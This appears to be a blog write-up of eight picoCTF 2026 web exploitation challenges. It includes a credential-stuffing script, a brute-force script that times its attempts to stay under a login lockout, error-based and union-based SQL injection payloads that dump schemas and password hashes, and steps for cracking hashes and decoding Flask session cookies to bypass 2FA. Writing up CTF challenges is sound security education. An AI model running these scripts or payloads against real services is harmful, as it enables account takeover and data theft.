picoCTF 2026 (Web)

picoCTF 2026 was full of amazing challenges. Let's tackle the web exploitation challenges today. Let's see how we can fool a server, gather exposed sensitive information to take over the server, how we can hack into admin account or how a simple sql query can compromise your entire database. Enjoy the ride, hackers…

Table of Contents:

  1. Hashgate -> Insecure Direct Object Reference (IDOR)
  2. Old Sessions -> Sensitive Information Disclosure
  3. Credential Stuffing -> Credential Stuffing / Broken Authentication
  4. Secret Box -> Error-Based SQL Injection
  5. Sql Map1 -> Union-Based SQL Injection
  6. Fool the Lockout -> Rate Limiting Bypass
  7. NO FA -> 2-Factor Authentication Bypass
  8. North-South -> Geographic Access Control Bypass

Challenges can be found here.

Hashgate

Hashgate presents us with only a website.

None

After accessing the website, we see an interface with a log in form. But we don't have a set of credential to log in with. What to do now?

None

Well, when solving CTF challenges, we usually start by exploring the source of the website. By viewing the source, we get a set of credential, email & password, hardcoded in the comment. Sometimes, developers make this mistake and hardcode srecrets like api-key , ssh key , password etc, in the public facing code. In fact when hunting for bugs, I've found so many examples of this type of mistake, that makes me wonder how a small mistake can compromise a system.

None

Anyway, back to the challenge, after logging in using the exposed credentials, we get a massge that the guest user is not previlaged enough to access the flag. Only an admin can access that confidential information.

Alright, now our goal is clear, we have to takeover the admin account. The privilage escalation game is on.

Burpsuite was running in the bacground, silently capturing all the traffic. For this part I'm gonna speedrun the next steps.

1. Find the request to GET your profile

2. notice that the user ID parameter is not directly an integer but a hashed string

None

3. The hash-identifier tool identifies the hash as MD5

4. Now we need to bruteforce the admin account. send the GET request to intruder

5. selet the hash value and add $

6. from the payloads tab, set the payload list as number , set the limit from 1000 to 20000. Why, cause notice the guest id is 3000 and the hint on the chall says that "There are about 20 employees in this organisation." So just be really sure, I was kinda shooting in the dark.

None

Start the attack, filter responses with 200 OK , and it gives us the flag.

Old Sessions

Old Sessions is a perfect example of sensitive information disclosure , where the frontend exposes some confidential info that the system should not disclose.

None

After creating an account and logging in we get this page with a suspicious comment:

None

force browsing /sessions exposes the session key of the admin. BINGO!

None

Next step is easy. Using burpsuite send a GET request but use the exposed session cookie of admin. The response contains the flag. congratuations, you have hacked the admin account.

None

Credential Stuffing

As the name suggests, this challenge demonstrates the classical Credential Stuffing vulnerability. Credential stuffing happens when a black hat tries to log in by randomly stuffing a set of credential at the /login endpoint.

None

Launching the instance gives us a netcat command and a txt file name creds-dump.txt which contains thousand of username and password formatted as username;passwd . Since it is impractical to try evety pair manually, I used a python script that tries to log in with every possible credential.

from pwn import *

# Load credentials
with open("creds-dump.txt") as f:
    creds = [line.strip().split(";") for line in f]

for user, passwd in creds:
    r = remote("crystal-peak.picoctf.net", 60635)
    r.recvuntil(b"Username:")
    r.sendline(user.encode())
    r.recvuntil(b"Password:")
    r.sendline(passwd.encode())
    
    response = r.recvall(timeout=2).decode()
    r.close()
    
    if "picoCTF{" in response:
        print("[+] Found valid creds:", user, passwd)
        print(response)
        break

This program takes every pair of creds, split by the ; then keeps trying to log in untill a flag is found. Running this program gives us the flag:

None

If further measurments are not taken like 2-factor authentication, Credential stuffing can do some serious damage.

Secret Box

Secret box gives us a website and source code. This is can be an example of source code review.

None
None

After creating an account and logging in, user is prompted to create a secret.

None

I created a cuple of secrets. It's a nice little way to store notes(or secrets), but where is the flag!!

Now taking a look at the source code, a sql injection vulnerability can be noticed in server.js.

None

here is what's happening:

whenever a user tries to store a secret, the backend takes the userId & content of the secret to store into the database. But, instead of parameterizing the values, it directly concatinates it into the sql query. As a result, a hacker can execute any sql query and compromise the database.

OK, a sqli has been detected but how can we leverage this to get the flag? Looking at the source codes again, we can find the userId of admin

None

Exploitation :

const query = await db.raw(
    `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` 
);

Because content is taken directly from the request body without sanitization, an attacker can "break out" of the single quotes to execute arbitrary SQL.

Exploitation Strategy: Error-Based SQLi

Since the application uses PostgreSQL and returns database error messages to the client, we can use an Error-Based approach to exfiltrate the flag.

  • Breakout: Use '), ( to close the current value set and start a new one.
  • Targeting: The db.js file revealed asmin UUID (e2a66f7d-2ce6-4861-b4aa-be8e069601cb) where the flag is stored.
  • The exploitation : We use a subquery to select the flag but wrap it in a CAST(... AS integer) function.
  • The Leak: Because the flag is a string (picoCTF{...}), the database fails to convert it to a number and throws a syntax error containing the flag's value.
  • The Payload: Input for content: dummy'), ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', (SELECT CAST(content AS integer) FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--

Final SQL Query executed by the server:

INSERT INTO secrets(owner_id, content) VALUES ('[USER_ID]', 'dummy'), ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', (SELECT CAST(content AS integer) FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--')
None

Result

The server responded with a database error: invalid input syntax for type integer: "picoCTF{sq1_1nject10n_c6f08ffd}"

None

Flag: picoCTF{sq1_1nject10n_c6f08ffd}

Sql Map1

None

Perhaps, this challenge was meant to be solved using sqlmap but i took the manual approach.

We were given a website.

None

after logging in, we can search for flag. but clearly these are dummy flags. DECOY.

None

But entering ' , end of the query string confirms that a sql injection is present. and the backend DB is sqlite. To exploit this i utilized UNION-based injection.

None
sql error with '

Step 1: Find the number of columns:

Inject order by until it crashes. ?q=test' ORDER BY 1-- -> ok

?q=test' ORDER BY 2-- -> ok

but ORDER BY 3 crashed so there are 2 columns.

Step 2: Locate the "Visible" Column

We need to see which of the two columns actually shows up

payload: ?q=test' UNION SELECT 'COL1', 'COL2'--

None

perfect. now

Step 3: List the Tables

test' UNION SELECT name, sql FROM sqlite_master WHERE type='table'--

None

database shema successfully dumped. the target is clearly the flags table.Looking at the CREATE TABLE statement for flags, we see it has three columns: id, key, and value. The flag is almost certainly stored in the value column, right? Not exactly. I did that same mistake too and it just wasted my time. Instead we need to target the users tabale.

Step 4: dump the password hashes

Runnig this query:

test' UNION SELECT username, password FROM users-

BOOMM!! We get the complete hash dump of all the users. (Passwords are not stored as plaintext in the database, rather as hashvalues.)

None
Password Hash Dumped by SQLi

The rest is easy. I used crackstation to crack those hashes, and the user ctf-player has the password dyesebel.

None
password cracked

Now using the cracked password, take over the ctf-player account(log in) and voila! You've got the flag.

None
flagggggg

Fool the Lockout

Ah! The classic rate limitting bypass!

None

The given wevsite enforces a rate limiting method. That is, if a user is trying to log in and enter wrong password for 10 times in duration of 30 seconds, their ip will be blocked for 120 seconds. This technique is used to slow down brute-force attacks.

MAX_REQUESTS = 10          # max failed attempts before a user is locked out
EPOCH_DURATION = 30         # timeframe for failed attempts (in seconds)
LOCKOUT_DURATION = 120      # duration a user will be locked out for (in seconds)

so to bypass this, i sent 9 request then pause for 32 seconds. Then again send 9 requests and repeat the process untill a match is found. Why 32? Well anything over 30 will work.

import requests
import time

# Configuration
URL = "http://candy-mountain.picoctf.net:54301/login"
USERS = ["rora", "birendra", "khalid", "stanislaw", "maged", "sigrid", "alysse", "emely", "cornel", "shamira", "cymbre", "romola", "leisa", "goldie", "celia", "kathrine", "adrianne", "rebbecca", "meridel", "riva", "dorris", "ngai", "gwynn", "olenka", "vahe", "germ", "bradwin", "marinette", "kori", "leita", "arzu", "roanna", "meena", "beryle", "field", "keaton", "amandine", "cherise", "aidan", "medria", "marga", "triston", "ljilyana", "paulo", "woodrow", "dacie", "evy", "amabelle", "technical", "celesta", "sherill", "nadir", "ayesha", "dolorita", "linnet", "clareta", "colm", "felton", "tera", "bethan", "rohit", "cali", "faina", "saleem", "luelle", "emmey", "carlyn", "sallyanne", "my", "constantia", "tenille", "suria", "princeton", "goska", "joana", "deane", "brynna", "oliver", "erinn", "val", "duquette", "sieber", "danice", "romonda", "sinead", "linette", "almendra", "meriann", "shedman", "elody", "doloritas", "cecile", "arielle", "mitch", "henrietta", "sule", "huan-yu", "lita", "ravi", "percy"]
PASSWORDS = ["winner1", "rumble", "sting", "ming", "nimrod", "telephon", "sutton", "tyrant", "rodman", "marion", "california", "steven", "basketba", "ferrari", "beatles", "tango", "iiiiii", "core", "bolton", "trent", "sponge", "ellie", "grizzly", "london1", "devilman", "bigguns", "doogie", "pic's", "swimming", "4you", "calimero", "trooper1", "tracy", "zippy", "sunflowe", "hall", "whatup", "dean", "gallaries", "locutus", "infinite", "kristina", "carsten", "chicks", "14141414", "diamond1", "sex4me", "fatty", "market", "drive", "icecube", "vides", "necklace", "concorde", "yaya", "yankee1", "goblue", "divine", "mccabe", "barber", "berry", "assword", "choke", "ella", "bolitas", "spanner", "kokoko", "mordor", "hotsex", "budlight", "lambert", "james007", "olympic", "allan", "citroen", "shoe", "church", "higgins", "nineinch", "sampson", "5252", "ripple", "smooth", "texaco", "infiniti", "reddog", "christin", "kajak", "ewtosi", "athome", "birgit", "makaveli", "rachel", "killers", "egghead", "devon", "destin", "2277", "969696", "puddin"]

def solve():
    total_attempts = 0
    
    for user, pwd in zip(USERS, PASSWORDS):
        # Logic: If we've finished 9 attempts, wait before the 10th
        if total_attempts > 0 and total_attempts % 9 == 0:
            print(f"\n[!] 9 attempts finished. Sleeping 32s to avoid lockout...")
            time.sleep(32)
            
        print(f"[*] Attempt {total_attempts + 1}: {user}:{pwd}", end="\r")
        
        try:
            r = requests.post(URL, data={'username': user, 'password': pwd}, allow_redirects=False)
            
            if r.status_code == 302:
                print(f"\n\n[+] SUCCESS!")
                print(f"[+] User: {user} | Pass: {pwd}")
                return
                
            if "Rate Limited Exceeded" in r.text:
                print(f"\n[-] Still hit rate limit! Server might be counting GETs too. Try sleeping longer.")
                return

            total_attempts += 1
            
        except Exception as e:
            print(f"\n[-] Error: {e}")
            return

if __name__ == "__main__":
    solve()

Running this code succesfully gave us the set of username and password we need. And we've fooled the lock-out.

None

Using this creds, when logged in, the website gives the flag.

None

NO FA

Bypassing 2-factor authentication. lessgooo

None

the chall comes with a website, the backend code and a leaked user.db databse. examining the database we get password hash for admin along with every other user's username & password. Also, 2-factor authentication is enabled for the admin.

None
user.db

hash-identifier identifies the hash as sha-256 hashing algorithm.

None

crackstation gives us the password. its apple@123.

None

after logging in, the site asks for the 2-fa code. but we don't have that. Sometimes developers make mistake and send that code to fronend. so check the session cookie.

None

since this is a flask application, there is a tool we can use to decode the session cookie.

None

using the code we can log in and get the flag. 2-FA Bypassed!!

None
2-fa bypassed

North-South

None

The challenge gives us a website and a Ngnix config file.

None

Opening the .conf file we can see that, if our countey code is IS which reffers to Iceland, then it redirects us to south which holds the flag, if not then to north. So we have to make the server to think that we are from Iceland, even though we are not. This is very easy, just connect to a Icelandic server using a vpn and visit the site, the site gives us the flag.

None

That's it for today. If you've come this far- let's connect on LinkedIn.